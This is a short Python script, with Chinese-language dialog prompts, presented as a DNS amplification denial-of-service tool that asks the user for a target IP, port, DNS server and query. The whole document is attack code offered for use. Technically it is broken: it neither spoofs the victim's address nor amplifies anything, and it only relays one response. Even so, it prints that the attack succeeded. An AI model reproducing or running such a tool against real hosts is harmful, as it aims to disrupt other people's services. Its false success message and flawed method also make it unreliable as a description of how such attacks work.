import socket
import tkinter as tk
from tkinter import simpledialog

def dns_amplification_attack(target_ip, target_port, dns_server_ip, dns_query):
    # Create a UDP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
    try:
        # Send the DNS query to the DNS server
        sock.sendto(dns_query, (dns_server_ip, 53))
        
        # Receive the response
        response, _ = sock.recvfrom(1024)
        
        # Send the response to the target
        sock.sendto(response, (target_ip, target_port))
        
        print("DNS放大攻击成功。")
    except Exception as e:
        print(f"错误: {e}")
    finally:
        sock.close()

# Function to get input from user via dialog boxes
def get_input():
    root = tk.Tk()
    root.withdraw()  # Hide the main window

    # Get target IP
    target_ip = simpledialog.askstring("Input", "输入目标IP:")
    if target_ip is None:
        return None, None, None, None  # If canceled

    # Get target port
    target_port = simpledialog.askinteger("Input", "输入目标端口:")
    if target_port is None:
        return None, None, None, None  # If canceled

    # Get DNS server IP
    dns_server_ip = simpledialog.askstring("Input", "输入DNS服务器IP:")
    if dns_server_ip is None:
        return None, None, None, None  # If canceled

    # Get DNS query
    dns_query = simpledialog.askstring("Input", "输入DNS查询:")
    if dns_query is None:
        return None, None, None, None  # If canceled

    return target_ip, target_port, dns_server_ip, dns_query.encode()

# Get input from the user
target_ip, target_port, dns_server_ip, dns_query = get_input()

# If user provided input, proceed with the attack
if target_ip is not None and target_port is not None and dns_server_ip is not None and dns_query is not None:
    dns_amplification_attack(target_ip, target_port, dns_server_ip, dns_query)